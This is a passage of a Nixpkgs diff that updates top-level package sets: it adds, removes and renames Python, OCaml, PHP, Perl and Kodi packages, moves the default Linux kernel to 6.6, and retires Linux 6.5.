../tools/package-management/nix-pin { }; @@ -40609,8 +40424,6 @@ with pkgs; nut = callPackage ../applications/misc/nut { }; - nhentai = callPackage ../applications/misc/nhentai { }; - nsncd = callPackage ../os-specific/linux/nsncd { }; nvd = callPackage ../tools/package-management/nvd { }; @@ -40829,6 +40642,8 @@ with pkgs; shellz = callPackage ../tools/security/shellz { }; + tableplus = callPackage ../applications/misc/tableplus { }; + timeloop = pkgs.darwin.apple_sdk_11_0.callPackage ../applications/science/computer-architecture/timeloop { }; canon-cups-ufr2 = callPackage ../misc/cups/drivers/canon { }; @@ -41140,9 +40955,6 @@ with pkgs; vimb-unwrapped = callPackage ../applications/networking/browsers/vimb { }; vimb = wrapFirefox vimb-unwrapped { }; - vikunja-api = callPackage ../servers/web-apps/vikunja/api.nix { }; - vikunja-frontend = callPackage ../servers/web-apps/vikunja/frontend.nix { }; - vips = callPackage ../tools/graphics/vips { inherit (darwin.apple_sdk.frameworks) ApplicationServices Foundation; }; @@ -41495,11 +41307,9 @@ with pkgs; xrq = callPackage ../applications/misc/xrq { }; - pynitrokey = with python3Packages; toPythonApplication pynitrokey; - nitrokey-app = libsForQt5.callPackage ../tools/security/nitrokey-app { }; - nitrokey-app2 = python3Packages.callPackage ../tools/security/nitrokey-app2 { }; + nitrokey-app2 = callPackage ../tools/security/nitrokey-app2 { }; fpm2 = callPackage ../tools/security/fpm2 { }; @@ -41748,6 +41558,7 @@ with pkgs; # TODO: remove once `udev` is `systemdMinimal` everywhere. udev = systemdMinimal; jack = libjack2; + restinio = restinio_0_6; }; jitsi-meet-electron = callPackage ../applications/networking/instant-messengers/jitsi-meet-electron { }; @@ -41866,7 +41677,7 @@ with pkgs; udict = callPackage ../applications/misc/udict { }; - duden = callPackage ../applications/misc/duden { }; + duden = python3Packages.toPythonApplication python3Packages.duden; zf = callPackage ../tools/misc/zf { }; @@ -41902,7 +41713,7 @@ with pkgs; weggli = callPackage ../tools/security/weggli { }; - yazi = callPackage ../applications/file-managers/yazi { inherit (darwin.apple_sdk.frameworks) Foundation; }; + yazi-unwrapped = callPackage ../by-name/ya/yazi-unwrapped/package.nix { inherit (darwin.apple_sdk.frameworks) Foundation; }; ssl-proxy = callPackage ../tools/networking/ssl-proxy { }; diff --git a/pkgs/top-level/darwin-packages.nix b/pkgs/top-level/darwin-packages.nix index 73943fb3b8a35..78ad4434f1c32 100644 --- a/pkgs/top-level/darwin-packages.nix +++ b/pkgs/top-level/darwin-packages.nix @@ -234,7 +234,7 @@ impure-cmds // appleSourcePackages // chooseLibs // { discrete-scroll = callPackage ../os-specific/darwin/discrete-scroll { }; - # See doc/builders/special/darwin-builder.section.md + # See doc/packages/darwin-builder.section.md linux-builder = lib.makeOverridable ({ modules }: let toGuest = builtins.replaceStrings [ "darwin" ] [ "linux" ]; diff --git a/pkgs/top-level/kodi-packages.nix b/pkgs/top-level/kodi-packages.nix index 7f0bfc5883f82..0014a1ff53f3f 100644 --- a/pkgs/top-level/kodi-packages.nix +++ b/pkgs/top-level/kodi-packages.nix @@ -1,5 +1,4 @@ -{ config, lib, newScope, kodi, libretro -, disable-warnings-if-gcc13 }: +{ config, lib, newScope, kodi, libretro }: with lib; @@ -83,6 +82,8 @@ let self = rec { mediacccde = callPackage ../applications/video/kodi/addons/mediacccde { }; + mediathekview = callPackage ../applications/video/kodi/addons/mediathekview { }; + netflix = callPackage ../applications/video/kodi/addons/netflix { }; orftvthek = callPackage ../applications/video/kodi/addons/orftvthek { }; @@ -157,7 +158,7 @@ let self = rec { inputstream-adaptive = callPackage ../applications/video/kodi/addons/inputstream-adaptive { }; - inputstream-ffmpegdirect = disable-warnings-if-gcc13 (callPackage ../applications/video/kodi/addons/inputstream-ffmpegdirect { }); + inputstream-ffmpegdirect = callPackage ../applications/video/kodi/addons/inputstream-ffmpegdirect { }; inputstream-rtmp = callPackage ../applications/video/kodi/addons/inputstream-rtmp { }; diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix index 62caa91bd496c..b0400cfeab014 100644 --- a/pkgs/top-level/linux-kernels.nix +++ b/pkgs/top-level/linux-kernels.nix @@ -169,19 +169,19 @@ in { ]; }; - linux_6_5 = callPackage ../os-specific/linux/kernel/mainline.nix { - branch = "6.5"; + linux_6_6 = callPackage ../os-specific/linux/kernel/mainline.nix { + branch = "6.6"; kernelPatches = [ kernelPatches.bridge_stp_helper kernelPatches.request_key_helper ]; }; - linux_6_6 = callPackage ../os-specific/linux/kernel/mainline.nix { - branch = "6.6"; + linux_rt_6_6 = callPackage ../os-specific/linux/kernel/linux-rt-6.6.nix { kernelPatches = [ kernelPatches.bridge_stp_helper kernelPatches.request_key_helper + kernelPatches.export-rt-sched-migrate ]; }; @@ -258,7 +258,6 @@ in { linux_5_10_hardened = hardenedKernelFor kernels.linux_5_10 { }; linux_5_15_hardened = hardenedKernelFor kernels.linux_5_15 { }; linux_6_1_hardened = hardenedKernelFor kernels.linux_6_1 { }; - linux_6_5_hardened = hardenedKernelFor kernels.linux_6_5 { }; linux_6_6_hardened = hardenedKernelFor kernels.linux_6_6 { }; linux_6_7_hardened = hardenedKernelFor kernels.linux_6_7 { }; @@ -271,6 +270,7 @@ in { linux_6_2 = throw "linux 6.2 was removed because it has reached its end of life upstream"; linux_6_3 = throw "linux 6.3 was removed because it has reached its end of life upstream"; linux_6_4 = throw "linux 6.4 was removed because it has reached its end of life upstream"; + linux_6_5 = throw "linux 6.5 was removed because it has reached its end of life upstream"; linux_xanmod_tt = throw "linux_xanmod_tt was removed because upstream no longer offers this option"; @@ -557,15 +557,15 @@ in { configFile = "kernel"; inherit pkgs kernel; }; - zfsStable = callPackage ../os-specific/linux/zfs/stable.nix { + zfs_2_2 = callPackage ../os-specific/linux/zfs/2_2.nix { configFile = "kernel"; inherit pkgs kernel; }; - zfsUnstable = callPackage ../os-specific/linux/zfs/unstable.nix { + zfs_unstable = callPackage ../os-specific/linux/zfs/unstable.nix { configFile = "kernel"; inherit pkgs kernel; }; - zfs = zfsStable; + zfs = zfs_2_2; can-isotp = callPackage ../os-specific/linux/can-isotp { }; @@ -592,7 +592,6 @@ in { linux_5_10 = recurseIntoAttrs (packagesFor kernels.linux_5_10); linux_5_15 = recurseIntoAttrs (packagesFor kernels.linux_5_15); linux_6_1 = recurseIntoAttrs (packagesFor kernels.linux_6_1); - linux_6_5 = recurseIntoAttrs (packagesFor kernels.linux_6_5); linux_6_6 = recurseIntoAttrs (packagesFor kernels.linux_6_6); linux_6_7 = recurseIntoAttrs (packagesFor kernels.linux_6_7); __attrsFailEvaluation = true; @@ -605,6 +604,7 @@ in { linux_6_2 = throw "linux 6.2 was removed because it reached its end of life upstream"; # Added 2023-05-26 linux_6_3 = throw "linux 6.3 was removed because it reached its end of life upstream"; # Added 2023-07-22 linux_6_4 = throw "linux 6.4 was removed because it reached its end of life upstream"; # Added 2023-10-02 + linux_6_5 = throw "linux 6.5 was removed because it reached its end of life upstream"; # Added 2024-02-28 }; rtPackages = { @@ -613,6 +613,7 @@ in { linux_rt_5_10 = packagesFor kernels.linux_rt_5_10; linux_rt_5_15 = packagesFor kernels.linux_rt_5_15; linux_rt_6_1 = packagesFor kernels.linux_rt_6_1; + linux_rt_6_6 = packagesFor kernels.linux_rt_6_6; __attrsFailEvaluation = true; }; @@ -636,7 +637,6 @@ in { linux_5_10_hardened = recurseIntoAttrs (packagesFor kernels.linux_5_10_hardened); linux_5_15_hardened = recurseIntoAttrs (packagesFor kernels.linux_5_15_hardened); linux_6_1_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_1_hardened); - linux_6_5_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_5_hardened); linux_6_6_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_6_hardened); linux_6_7_hardened = recurseIntoAttrs (packagesFor kernels.linux_6_7_hardened); @@ -658,12 +658,12 @@ in { }); packageAliases = { - linux_default = packages.linux_6_1; + linux_default = packages.linux_6_6; # Update this when adding the newest kernel major version! linux_latest = packages.linux_6_7; linux_mptcp = throw "'linux_mptcp' has been moved to https://github.com/teto/mptcp-flake"; linux_rt_default = packages.linux_rt_5_4; - linux_rt_latest = packages.linux_rt_6_1; + linux_rt_latest = packages.linux_rt_6_6; } // { __attrsFailEvaluation = true; }; manualConfig = callPackage ../os-specific/linux/kernel/manual-config.nix {}; diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix index 5e59435d789bc..d74746e08c598 100644 --- a/pkgs/top-level/ocaml-packages.nix +++ b/pkgs/top-level/ocaml-packages.nix @@ -283,6 +283,8 @@ let ctypes = callPackage ../development/ocaml-modules/ctypes { }; + ctypes-foreign = callPackage ../development/ocaml-modules/ctypes/foreign.nix { }; + ctypes_stubs_js = callPackage ../development/ocaml-modules/ctypes_stubs_js { inherit (pkgs) nodejs; }; @@ -786,7 +788,7 @@ let inherit conduit ipaddr-sexp; }; in { - inherit (self) dune-configurator alcotest re num octavius uutf ounit ctypes; + inherit (self) dune-configurator alcotest re num octavius uutf ounit ctypes ctypes-foreign; ppxlib = self.ppxlib.override { inherit (self') stdio; }; cohttp-async = self.cohttp-async.override { inherit (self') ppx_sexp_conv base async async_kernel async_unix core_unix sexplib0 core; @@ -824,8 +826,6 @@ let cfstream = self.cfstream.override { inherit core_kernel; }; }; - magic-trace = callPackage ../development/ocaml-modules/magic-trace { }; - phylogenetics = let angstrom = self.angstrom.override { inherit ppx_let; }; in callPackage ../development/ocaml-modules/phylogenetics { @@ -1022,7 +1022,7 @@ let magic-mime = callPackage ../development/ocaml-modules/magic-mime { }; - magic-trace = janeStreet_0_15.magic-trace; + magic-trace = callPackage ../development/ocaml-modules/magic-trace { }; mariadb = callPackage ../development/ocaml-modules/mariadb { inherit (pkgs) mariadb; @@ -1032,7 +1032,9 @@ let mccs = callPackage ../development/ocaml-modules/mccs { }; - mdx = callPackage ../development/ocaml-modules/mdx { }; + mdx = callPackage ../development/ocaml-modules/mdx { + logs = logs.override { jsooSupport = false; lwtSupport = false; }; + }; mec = callPackage ../development/ocaml-modules/mec { }; @@ -1132,8 +1134,6 @@ let mirage-flow-unix = callPackage ../development/ocaml-modules/mirage-flow/unix.nix { }; - mirage-fs = callPackage ../development/ocaml-modules/mirage-fs { }; - mirage-kv = callPackage ../development/ocaml-modules/mirage-kv { }; mirage-logs = callPackage ../development/ocaml-modules/mirage-logs { }; @@ -1813,6 +1813,8 @@ let type_eq = callPackage ../development/ocaml-modules/type_eq { }; + type_id = callPackage ../development/ocaml-modules/type_id { }; + tyxml = callPackage ../development/ocaml-modules/tyxml { }; tyxml-lwd = callPackage ../development/ocaml-modules/lwd/tyxml-lwd.nix { }; @@ -1869,6 +1871,8 @@ let vorbis = callPackage ../development/ocaml-modules/vorbis { }; + vpl-core = callPackage ../development/ocaml-modules/vpl-core { }; + ### W ### wasm = callPackage ../development/ocaml-modules/wasm { }; @@ -1903,6 +1907,8 @@ let xtmpl_ppx = callPackage ../development/ocaml-modules/xtmpl/ppx.nix { }; + xxhash = callPackage ../development/ocaml-modules/xxhash/default.nix { }; + ### Y ### yaml = callPackage ../development/ocaml-modules/yaml { }; diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix index c18360e94a4bf..bb360b3538cdb 100644 --- a/pkgs/top-level/packages-config.nix +++ b/pkgs/top-level/packages-config.nix @@ -24,7 +24,6 @@ sourceHanPackages steamPackages ut2004Packages - zabbix40 zabbix50 zabbix60 zeroadPackages diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix index 0b4118717108d..c562b88f9c9c0 100644 --- a/pkgs/top-level/perl-packages.nix +++ b/pkgs/top-level/perl-packages.nix @@ -9835,7 +9835,7 @@ with self; { meta = { description = "File locking with fcntl(2)"; license = with lib.licenses; [ artistic1 ]; - maintainers = with maintainers; [ ajs124 das_j ]; + maintainers = with maintainers; [ das_j ]; }; }; @@ -13563,10 +13563,10 @@ with self; { LaTeXML = buildPerlPackage rec { pname = "LaTeXML"; - version = "0.8.7"; + version = "0.8.8"; src = fetchurl { url = "mirror://cpan/authors/id/B/BR/BRMILLER/${pname}-${version}.tar.gz"; - hash = "sha256-JdqdlEB3newNrdTMLUIn6Oq4dDfAcZh3J03PuQakzHk="; + hash = "sha256-fSu+LOJSuvhro/OIzQ3sOqSDj0nWErnsfMT/iBBbrcw="; }; outputs = [ "out" "tex" ]; propagatedBuildInputs = [ ArchiveZip DBFile FileWhich IOString ImageMagick ImageSize JSONXS LWP ParseRecDescent PodParser TextUnidecode XMLLibXSLT ]; @@ -13595,7 +13595,7 @@ with self; { homepage = "https://dlmf.nist.gov/LaTeXML/"; license = with lib.licenses; [ publicDomain ]; maintainers = with maintainers; [ xworld21 ]; - mainProgram = "latexml"; + mainProgram = "latexmlc"; }; }; diff --git a/pkgs/top-level/php-packages.nix b/pkgs/top-level/php-packages.nix index 345ed56b95e75..25a1c821ac526 100644 --- a/pkgs/top-level/php-packages.nix +++ b/pkgs/top-level/php-packages.nix @@ -198,14 +198,12 @@ lib.makeScope pkgs.newScope (self: with self; { phive = callPackage ../development/php-packages/phive { }; + php-codesniffer = callPackage ../development/php-packages/php-codesniffer { }; + php-cs-fixer = callPackage ../development/php-packages/php-cs-fixer { }; php-parallel-lint = callPackage ../development/php-packages/php-parallel-lint { }; - phpcbf = callPackage ../development/php-packages/phpcbf { }; - - phpcs = callPackage ../development/php-packages/phpcs { }; - phpmd = callPackage ../development/php-packages/phpmd { }; phpspy = callPackage ../development/php-packages/phpspy { }; @@ -215,10 +213,11 @@ lib.makeScope pkgs.newScope (self: with self; { psalm = callPackage ../development/php-packages/psalm { }; psysh = callPackage ../development/php-packages/psysh { }; + } // lib.optionalAttrs config.allowAliases { + phpcbf = throw "`phpcbf` is now deprecated, use `php-codesniffer` instead which contains both `phpcs` and `phpcbf`."; + phpcs = throw "`phpcs` is now deprecated, use `php-codesniffer` instead which contains both `phpcs` and `phpcbf`."; }; - - # This is a set of PHP extensions meant to be used in php.buildEnv # or php.withExtensions to extend the functionality of the PHP # interpreter. @@ -235,7 +234,7 @@ lib.makeScope pkgs.newScope (self: with self; { ast = callPackage ../development/php-packages/ast { }; - blackfire = callPackage ../development/tools/misc/blackfire/php-probe.nix { inherit php; }; + blackfire = callPackage ../development/tools/misc/blackfire/php-probe.nix { }; couchbase = callPackage ../development/php-packages/couchbase { }; @@ -318,7 +317,7 @@ lib.makeScope pkgs.newScope (self: with self; { redis = callPackage ../development/php-packages/redis { }; - relay = callPackage ../development/php-packages/relay { inherit php; }; + relay = callPackage ../development/php-packages/relay { }; rrd = callPackage ../development/php-packages/rrd { }; diff --git a/pkgs/top-level/python-aliases.nix b/pkgs/top-level/python-aliases.nix index b1b81e95b2aca..c10b48c8421ac 100644 --- a/pkgs/top-level/python-aliases.nix +++ b/pkgs/top-level/python-aliases.nix @@ -85,6 +85,7 @@ mapAliases ({ cntk = throw "cntk has been removed from nixpkgs, as it was broken and unmaintained"; # Added 2023-10-09 codespell = throw "codespell has been promoted to a top-level attribute"; # Added 2022-10-02 ColanderAlchemy = colanderalchemy; # added 2023-02-19 + command_runner = command-runner; # added 2024-03-06 CommonMark = commonmark; # added 2023-02-1 ConfigArgParse = configargparse; # added 2021-03-18 coronavirus = throw "coronavirus was removed, because the source is not providing the data anymore."; # added 2023-05-04 @@ -168,6 +169,9 @@ mapAliases ({ flask-basicauth = throw "flask-basicauth was removed, as it is not compatible with flask 3.0 and unmaintained since 2016."; flask-sessionstore = throw "flask-sessionstore was removed, as it is not compatible with flask 3.0 and unmaintained since 2017."; flowlogs_reader = flowlogs-reader; # added 2024-01-03 + flufl_bounce = flufl-bounce; # added 2023-11-03 + flufl_i18n = flufl-i18n; # added 2023-11-03 + flufl_lock = flufl-lock; # added 2023-11-03 FormEncode = formencode; # added 2023-02-19 foundationdb51 = throw "foundationdb51 is no longer maintained, use foundationdb71 instead"; # added 2023-06-06 foundationdb52 = throw "foundationdb52 is no longer maintained, use foundationdb71 instead"; # added 2023-06-06 @@ -466,6 +470,7 @@ mapAliases ({ ssh-mitm = throw "ssh-mitm was removed in favor of the top-level ssh-mitm"; # added 2023-05-09 smart_open = smart-open; # added 2021-03-14 smmap2 = throw "smmap2 has been deprecated, use smmap instead."; # added 2020-03-14 + smpp_pdu = smpp-pdu; # added 2024-03-05 somecomfort = throw "somecomfort was removed because Home Assistant switched to aiosomecomfort"; # added 2023-02-01 sorl_thumbnail = sorl-thumbnail; # added 2023-11-12 SPARQLWrapper = sparqlwrapper; diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index 47ea0584dcb1f..377d5e2587d1a 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -123,6 +123,8 @@ self: super: with self; { agent-py = callPackage ../development/python-modules/agent-py { }; + ago = callPackage ../development/python-modules/ago { }; + aggdraw = callPackage ../development/python-modules/aggdraw { }; aigpy = callPackage ../development/python-modules/aigpy { }; @@ -193,6 +195,8 @@ self: super: with self; { aiocurrencylayer = callPackage ../development/python-modules/aiocurrencylayer { }; + aiodhcpwatcher = callPackage ../development/python-modules/aiodhcpwatcher { }; + aiodiscover = callPackage ../development/python-modules/aiodiscover { }; aiodns = callPackage ../development/python-modules/aiodns { }; @@ -331,6 +335,8 @@ self: super: with self; { aiooss2 = callPackage ../development/python-modules/aiooss2 { }; + aiooui = callPackage ../development/python-modules/aiooui { }; + aiopegelonline = callPackage ../development/python-modules/aiopegelonline { }; aiopg = callPackage ../development/python-modules/aiopg { }; @@ -415,6 +421,8 @@ self: super: with self; { aiosyncthing = callPackage ../development/python-modules/aiosyncthing { }; + aiotankerkoenig = callPackage ../development/python-modules/aiotankerkoenig { }; + aiotractive = callPackage ../development/python-modules/aiotractive { }; aiounifi = callPackage ../development/python-modules/aiounifi { }; @@ -443,6 +451,8 @@ self: super: with self; { aiozeroconf = callPackage ../development/python-modules/aiozeroconf { }; + airium = callPackage ../development/python-modules/airium { }; + airly = callPackage ../development/python-modules/airly { }; airthings-ble = callPackage ../development/python-modules/airthings-ble { }; @@ -721,6 +731,8 @@ self: super: with self; { argparse-dataclass = callPackage ../development/python-modules/argparse-dataclass { }; + argparse-manpage = callPackage ../development/python-modules/argparse-manpage { }; + args = callPackage ../development/python-modules/args { }; aria2p = callPackage ../development/python-modules/aria2p { }; @@ -799,6 +811,8 @@ self: super: with self; { asterisk-mbox = callPackage ../development/python-modules/asterisk-mbox { }; + asteroid-filterbanks = callPackage ../development/python-modules/asteroid-filterbanks { }; + asteval = callPackage ../development/python-modules/asteval { }; astor = callPackage ../development/python-modules/astor { }; @@ -1302,6 +1316,8 @@ self: super: with self; { paddlepaddle = callPackage ../development/python-modules/paddlepaddle { }; + pueblo = callPackage ../development/python-modules/pueblo { }; + pulumi = callPackage ../development/python-modules/pulumi { inherit (pkgs) pulumi; }; pulumi-aws = callPackage ../development/python-modules/pulumi-aws { }; @@ -1923,9 +1939,9 @@ self: super: with self; { comicon = callPackage ../development/python-modules/comicon { }; - command_runner = callPackage ../development/python-modules/command_runner { }; + command-runner = callPackage ../development/python-modules/command-runner { }; - connect-box = callPackage ../development/python-modules/connect_box { }; + connect-box = callPackage ../development/python-modules/connect-box { }; connection-pool = callPackage ../development/python-modules/connection-pool { }; @@ -1999,6 +2015,8 @@ self: super: with self; { chainmap = callPackage ../development/python-modules/chainmap { }; + chainstream = callPackage ../development/python-modules/chainstream { }; + chalice = callPackage ../development/python-modules/chalice { }; chameleon = callPackage ../development/python-modules/chameleon { }; @@ -2051,6 +2069,10 @@ self: super: with self; { chispa = callPackage ../development/python-modules/chispa { }; + chroma-hnswlib = callPackage ../development/python-modules/chroma-hnswlib { }; + + chromadb = callPackage ../development/python-modules/chromadb { }; + chromaprint = callPackage ../development/python-modules/chromaprint { }; ci-info = callPackage ../development/python-modules/ci-info { }; @@ -2661,7 +2683,7 @@ self: super: with self; { datadog = callPackage ../development/python-modules/datadog { }; datafusion = callPackage ../development/python-modules/datafusion { - inherit (pkgs.darwin.apple_sdk.frameworks) Security; + inherit (pkgs.darwin.apple_sdk.frameworks) Security SystemConfiguration; }; datamodeldict = callPackage ../development/python-modules/datamodeldict { }; @@ -2702,6 +2724,8 @@ self: super: with self; { dawg-python = callPackage ../development/python-modules/dawg-python { }; + dazl = callPackage ../development/python-modules/dazl { }; + dbf = callPackage ../development/python-modules/dbf { }; dbfread = callPackage ../development/python-modules/dbfread { }; @@ -2910,6 +2934,8 @@ self: super: with self; { dirty-equals = callPackage ../development/python-modules/dirty-equals { }; + dirtyjson = callPackage ../development/python-modules/dirtyjson { }; + discid = callPackage ../development/python-modules/discid { }; discogs-client = callPackage ../development/python-modules/discogs-client { }; @@ -3350,6 +3376,8 @@ self: super: with self; { docloud = callPackage ../development/python-modules/docloud { }; + docstr-coverage = callPackage ../development/python-modules/docstr-coverage { }; + docstring-to-markdown = callPackage ../development/python-modules/docstring-to-markdown { }; docstring-parser = callPackage ../development/python-modules/docstring-parser { }; @@ -3480,6 +3508,8 @@ self: super: with self; { duct-py = callPackage ../development/python-modules/duct-py { }; + duden = callPackage ../development/python-modules/duden { }; + duecredit = callPackage ../development/python-modules/duecredit { }; duet = callPackage ../development/python-modules/duet { }; @@ -3538,8 +3568,12 @@ self: super: with self; { dynd = callPackage ../development/python-modules/dynd { }; + dsl2html = callPackage ../development/python-modules/dsl2html { }; + e3-core = callPackage ../development/python-modules/e3-core { }; + e3-testsuite = callPackage ../development/python-modules/e3-testsuite { }; + eagle100 = callPackage ../development/python-modules/eagle100 { }; easydict = callPackage ../development/python-modules/easydict { }; @@ -3573,7 +3607,7 @@ self: super: with self; { ecoaliface = callPackage ../development/python-modules/ecoaliface { }; - ecos = pkgs.disable-warnings-if-gcc13 (callPackage ../development/python-modules/ecos { }); + ecos = callPackage ../development/python-modules/ecos { }; ecpy = callPackage ../development/python-modules/ecpy { }; @@ -3749,6 +3783,10 @@ self: super: with self; { escapism = callPackage ../development/python-modules/escapism { }; + essentials = callPackage ../development/python-modules/essentials { }; + + essentials-openapi = callPackage ../development/python-modules/essentials-openapi { }; + etcd = callPackage ../development/python-modules/etcd { }; etcd3 = callPackage ../development/python-modules/etcd3 { @@ -3939,6 +3977,8 @@ self: super: with self; { fastapi-mail = callPackage ../development/python-modules/fastapi-mail { }; + fastapi-sso = callPackage ../development/python-modules/fastapi-sso { }; + fast-histogram = callPackage ../development/python-modules/fast-histogram { }; fastavro = callPackage ../development/python-modules/fastavro { }; @@ -3993,7 +4033,7 @@ self: super: with self; { fastrlock = callPackage ../development/python-modules/fastrlock { }; - fasttext = pkgs.disable-warnings-if-gcc13 (callPackage ../development/python-modules/fasttext { }); + fasttext = callPackage ../development/python-modules/fasttext { }; fasttext-predict = callPackage ../development/python-modules/fasttext-predict { }; @@ -4179,7 +4219,7 @@ self: super: with self; { flask-principal = callPackage ../development/python-modules/flask-principal { }; - flask-pymongo = callPackage ../development/python-modules/Flask-PyMongo { }; + flask-pymongo = callPackage ../development/python-modules/flask-pymongo { }; flask-restful = callPackage ../development/python-modules/flask-restful { }; @@ -4263,11 +4303,11 @@ self: super: with self; { fluent-logger = callPackage ../development/python-modules/fluent-logger { }; - flufl_bounce = callPackage ../development/python-modules/flufl/bounce.nix { }; + flufl-bounce = callPackage ../development/python-modules/flufl/bounce.nix { }; - flufl_i18n = callPackage ../development/python-modules/flufl/i18n.nix { }; + flufl-i18n = callPackage ../development/python-modules/flufl/i18n.nix { }; - flufl_lock = callPackage ../development/python-modules/flufl/lock.nix { }; + flufl-lock = callPackage ../development/python-modules/flufl/lock.nix { }; flux-led = callPackage ../development/python-modules/flux-led { }; @@ -4390,6 +4430,8 @@ self: super: with self; { fschat = callPackage ../development/python-modules/fschat { }; + fsspec-xrootd = callPackage ../development/python-modules/fsspec-xrootd { }; + fsspec = callPackage ../development/python-modules/fsspec { }; fst-pso = callPackage ../development/python-modules/fst-pso { }; @@ -4579,6 +4621,8 @@ self: super: with self; { georss-wa-dfes-client = callPackage ../development/python-modules/georss-wa-dfes-client { }; + gerbonara = callPackage ../development/python-modules/gerbonara { }; + getjump = callPackage ../development/python-modules/getjump { }; getmac = callPackage ../development/python-modules/getmac { }; @@ -4678,9 +4722,9 @@ self: super: with self; { gmpy = callPackage ../development/python-modules/gmpy { }; - gmsh = pkgs.disable-warnings-if-gcc13 (toPythonModule (callPackage ../applications/science/math/gmsh { + gmsh = toPythonModule (callPackage ../applications/science/math/gmsh { enablePython = true; - })); + }); gntp = callPackage ../development/python-modules/gntp { }; @@ -4768,6 +4812,8 @@ self: super: with self; { google-cloud-monitoring = callPackage ../development/python-modules/google-cloud-monitoring { }; + google-cloud-netapp = callPackage ../development/python-modules/google-cloud-netapp { }; + google-cloud-org-policy = callPackage ../development/python-modules/google-cloud-org-policy { }; google-cloud-os-config = callPackage ../development/python-modules/google-cloud-os-config { }; @@ -4784,6 +4830,8 @@ self: super: with self; { google-cloud-securitycenter = callPackage ../development/python-modules/google-cloud-securitycenter { }; + google-cloud-shell = callPackage ../development/python-modules/google-cloud-shell { }; + google-cloud-spanner = callPackage ../development/python-modules/google-cloud-spanner { }; google-cloud-speech = callPackage ../development/python-modules/google-cloud-speech { }; @@ -4804,8 +4852,16 @@ self: super: with self; { google-cloud-vision = callPackage ../development/python-modules/google-cloud-vision { }; + google-cloud-vpc-access = callPackage ../development/python-modules/google-cloud-vpc-access { }; + + google-cloud-webrisk = callPackage ../development/python-modules/google-cloud-webrisk { }; + google-cloud-websecurityscanner = callPackage ../development/python-modules/google-cloud-websecurityscanner { }; + google-cloud-workflows = callPackage ../development/python-modules/google-cloud-workflows { }; + + google-cloud-workstations = callPackage ../development/python-modules/google-cloud-workstations { }; + google-compute-engine = callPackage ../tools/virtualization/google-compute-engine { }; google-crc32c = callPackage ../development/python-modules/google-crc32c { @@ -4842,6 +4898,8 @@ self: super: with self; { govee-led-wez = callPackage ../development/python-modules/govee-led-wez { }; + govee-local-api = callPackage ../development/python-modules/govee-local-api { }; + goveelights = callPackage ../development/python-modules/goveelights { }; gpapi = callPackage ../development/python-modules/gpapi { }; @@ -4925,9 +4983,7 @@ self: super: with self; { graphtage = callPackage ../development/python-modules/graphtage { }; - graphviz = callPackage ../development/python-modules/graphviz { - inherit (pkgs) graphviz; - }; + graphviz = callPackage ../development/python-modules/graphviz { }; grappelli-safe = callPackage ../development/python-modules/grappelli-safe { }; @@ -5366,6 +5422,8 @@ self: super: with self; { hupper = callPackage ../development/python-modules/hupper { }; + hurry-filesize = callPackage ../development/python-modules/hurry-filesize { }; + huum = callPackage ../development/python-modules/huum { }; hvac = callPackage ../development/python-modules/hvac { }; @@ -5534,6 +5592,8 @@ self: super: with self; { impacket = callPackage ../development/python-modules/impacket { }; + import-expression = callPackage ../development/python-modules/import-expression { }; + importlab = callPackage ../development/python-modules/importlab { }; importlib-metadata = callPackage ../development/python-modules/importlib-metadata { }; @@ -5620,6 +5680,8 @@ self: super: with self; { intensity-normalization = callPackage ../development/python-modules/intensity-normalization { }; + interegular = callPackage ../development/python-modules/interegular { }; + interface-meta = callPackage ../development/python-modules/interface-meta { }; internetarchive = callPackage ../development/python-modules/internetarchive { }; @@ -5867,6 +5929,8 @@ self: super: with self; { jira = callPackage ../development/python-modules/jira { }; + jishaku = callPackage ../development/python-modules/jishaku { }; + jiwer = callPackage ../development/python-modules/jiwer { }; jmespath = callPackage ../development/python-modules/jmespath { }; @@ -5979,6 +6043,8 @@ self: super: with self; { jug = callPackage ../development/python-modules/jug { }; + julius = callPackage ../development/python-modules/julius { }; + junitparser = callPackage ../development/python-modules/junitparser { }; junit2html = callPackage ../development/python-modules/junit2html { }; @@ -6230,6 +6296,8 @@ self: super: with self; { labmath = callPackage ../development/python-modules/labmath { }; + laces = callPackage ../development/python-modules/laces { }; + lakeside = callPackage ../development/python-modules/lakeside { }; langchain = callPackage ../development/python-modules/langchain { }; @@ -6238,6 +6306,8 @@ self: super: with self; { langchain-core = callPackage ../development/python-modules/langchain-core { }; + langchain-text-splitters = callPackage ../development/python-modules/langchain-text-splitters { }; + langcodes = callPackage ../development/python-modules/langcodes { }; langdetect = callPackage ../development/python-modules/langdetect { }; @@ -6343,6 +6413,8 @@ self: super: with self; { lexid = callPackage ../development/python-modules/lexid { }; + lexilang = callPackage ../development/python-modules/lexilang { }; + lhapdf = toPythonModule (pkgs.lhapdf.override { inherit python; }); @@ -6572,6 +6644,8 @@ self: super: with self; { limnoria = callPackage ../development/python-modules/limnoria { }; + linear-garage-door = callPackage ../development/python-modules/linear-garage-door { }; + linear-operator = callPackage ../development/python-modules/linear-operator { }; linecache2 = callPackage ../development/python-modules/linecache2 { }; @@ -6620,6 +6694,46 @@ self: super: with self; { lizard = callPackage ../development/python-modules/lizard { }; + llama-index = callPackage ../development/python-modules/llama-index { }; + + llama-index-agent-openai = callPackage ../development/python-modules/llama-index-agent-openai { }; + + llama-index-cli = callPackage ../development/python-modules/llama-index-cli { }; + + llama-index-core = callPackage ../development/python-modules/llama-index-core { }; + + llama-index-embeddings-gemini = callPackage ../development/python-modules/llama-index-embeddings-gemini { }; + + llama-index-embeddings-google = callPackage ../development/python-modules/llama-index-embeddings-google { }; + + llama-index-embeddings-openai = callPackage ../development/python-modules/llama-index-embeddings-openai { }; + + llama-index-indices-managed-llama-cloud = callPackage ../development/python-modules/llama-index-indices-managed-llama-cloud { }; + + llama-index-legacy = callPackage ../development/python-modules/llama-index-legacy { }; + + llama-index-llms-openai = callPackage ../development/python-modules/llama-index-llms-openai { }; + + llama-index-multi-modal-llms-openai = callPackage ../development/python-modules/llama-index-multi-modal-llms-openai { }; + + llama-index-program-openai = 